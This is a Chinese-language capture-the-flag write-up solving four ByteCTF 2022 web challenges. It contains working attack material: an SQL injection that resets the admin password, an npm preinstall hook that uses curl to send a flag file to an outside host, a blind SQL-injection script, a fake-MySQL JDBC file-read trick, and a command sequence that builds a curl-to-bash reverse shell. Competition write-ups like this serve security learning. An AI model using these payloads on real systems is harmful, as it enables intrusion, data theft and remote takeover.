ByteCTF
来自东北大咖(NEX、N3X)的web wp
easy_grafana
grafana的任意文件读,https://blog.riskivy.com/grafana-%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B8%8E%E6%B1%87%E6%80%BBcve-2021-43798/
可以读数据库和配置文件,参考这个https://github.com/jas502n/Grafana-CVE-2021-43798
图片:
ctf_cloud
signup处存在insert注入,直接拼接的password,且无过滤
var sql = `INSERT INTO users (NAME, PASSWORD, ACTIVE) VALUES (?, '${password}', 0)`;
所以可以改admin的密码
{"username":"ad","password":"a',0),('admin','1',1),('ab','a"}
然后admin 1
登陆进去
有npm install
的功能,搜到了这篇:https://0xsapra.github.io/website//Exploiting-Dependency-Confusion
思路是,先通过文件上传,传一个package.json
,用来命令执行
POST /dashboard/upload HTTP/1.1 Host: e327f6cd434a1020dbada91cd25ee393.2022.capturetheflag.fun User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------10853925934784999111814589742 Content-Length: 509 Origin: https://e327f6cd434a1020dbada91cd25ee393.2022.capturetheflag.fun Connection: close Referer: https://e327f6cd434a1020dbada91cd25ee393.2022.capturetheflag.fun/ Cookie: connect.sid=s%3ALo6vTyBturVXwi7ghSVboJ62LNsYXSIo.kKkHfL%2FiNyt7iVKoPmiLzXLyZKMyBUMusYcMmPmoS9c Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 -----------------------------10853925934784999111814589742 Content-Disposition: form-data; name="upload"; filename="package.json" Content-Type: text/plain { "name": "pre-hook-check", "version": "1.0.0", "description": "", "main": "index.js", "scripts": { "test": "echo \"Error: no test specified\" && exit 1", "preinstall": "curl ip:2333 -F 'file=@/flag'" }, "author":"aaa", "license":"ISC" } -----------------------------10853925934784999111814589742--
然后通过设置依赖,引入package.json
POST /dashboard/dependencies HTTP/1.1 Host: e327f6cd434a1020dbada91cd25ee393.2022.capturetheflag.fun User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: connect.sid=s%3ALo6vTyBturVXwi7ghSVboJ62LNsYXSIo.kKkHfL%2FiNyt7iVKoPmiLzXLyZKMyBUMusYcMmPmoS9c Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 If-None-Match: W/"38-qtdd4e7CV3Kvh5f/Dhy6Km1eIf8" Content-Type: application/json Content-Length: 58 {"dependencies":{"pre-hook-check":"file:public/uploads/"}}
然后vps监听,点击安装即可
图片:
datamanager
创建一个用户,进入dashboard可以发现有传参order=id。然后添加几条数据进去,猜测这个order是sql的order by。然后在order这里进行测试,发现rand(true)和rand(false)两个页面的排序不同,进行sql注入。fuzz发现很多标点符号用不了,而且还有括号次数限制,有些黑名单可以大写绕过。使用case when注入:
import requests url = 'https://faa672097556ec52f576d25e5b920a0a.2022.capturetheflag.fun/dashboard' cookies = {'JSESSIONID': '6254376F5C900BA3E1BC9478C2959925'} def getPage(params): res = requests.get(url=url, params=params, cookies=cookies) text = res.text ids = '' while(str := text.find(id := '?id=')) != -1: ids += text[str + len(id)] text = text[str + len(id):] if ids == '': print(text) return ids truePage = getPage({'order': 'rand(true)'}) falsePage = getPage({'order': 'rand(false)'}) result = '' for i in range(2, 1000): for j in range(32, 128): # print(chr(j)) if chr(j) == '%' or chr(j) == '_': continue params = {"order": "rand(case when SUBSTRING((select pas$word from users limit 1) from {} for 1) like {} then true else false end)".format(str(i), hex(j))} resultPage = getPage(params) # print(params) if resultPage == truePage: result += chr(j) print(result) break #ctf #ctf@BvteDaNceS3cRet
登录admin,发现在/connection有jdbc连接
url=jdbc%3Amysql%3A%2F%2F47.96.173.116%3A6666%2Fasd&username=asd&password=asd
根据题目描述,应该就是考jdbc连接的东西。用Mysql_Fake_Server进行任意文件读。发现python3.8报错。查看issue:https://github.com/fnmsd/MySQL_Fake_Server/issues/9
修改
File "/root/gitDownload/MySQL_Fake_Server/mysqlproto/protocol/handshake.py", line 72, in read ret.character_set = CharacterSet(d[2])
报错里面的d[2]为33即可。读取不到/flag。然后找到文章https://www.freebuf.com/vuls/341270.html
可以加上参数
allowUrlInLocalInfile=true
file协议列目录。
=======File Conntent Preview End========== Save to File:./fileOutput//180.184.86.151___1664026324____etc_passwd Incoming Connection:('180.184.86.151', 18206) Login Username:asd <= 3 Start Reading File:file:/// reading file:file:/// ========File Conntent Preview========= app bin boot dev etc home init lib lib64 libexec media mnt opt proc root run sbin srv sys tmp usr var very_Str4nge_NamE_of_flag
修改config.json即可。最终payload读flag:
url=jdbc%3Amysql%3A%2F%2F47.96.173.116%3A6666%2Ftest?allowLoadLocalInfile=true%26allowUrlInLocalInfile=true&username=asd&password=asd
typing_game
访问/status发现无法rce,估计需要/report进行ssrf打rce。然后就是2017年的hitcon的原题了。直接拿脚本打。
import requests import time url = "https://aba7907fb46e223d7fb04cffa9ce36d2.2022.capturetheflag.fun/report?url=http://127.0.0.1:13002/status" payload = [ "rm *", ">dir", ">sl", ">g\>", ">ht-", "*>v", ">rev", "*v>x", # ls -th>g ">sh", ">ba\\", ">\|\\", ">16\\", ">1\\", ">3.\\", ">17\\", ">6.\\", ">9\\", ">7.\\", ">4\\", ">\ \\", ">rl\\", ">cu\\", "sh x", "sh g" ] # r = requests.get(url + "?reset=1") for i in payload: print(i) r = requests.get(url + "?cmd=" + i) print(r.text) time.sleep(20)
由于不能ip伪造,只能每次硬等20s。成功反弹shell
找到flag在环境变量中
TQL师傅
我是被队里师傅带飞那个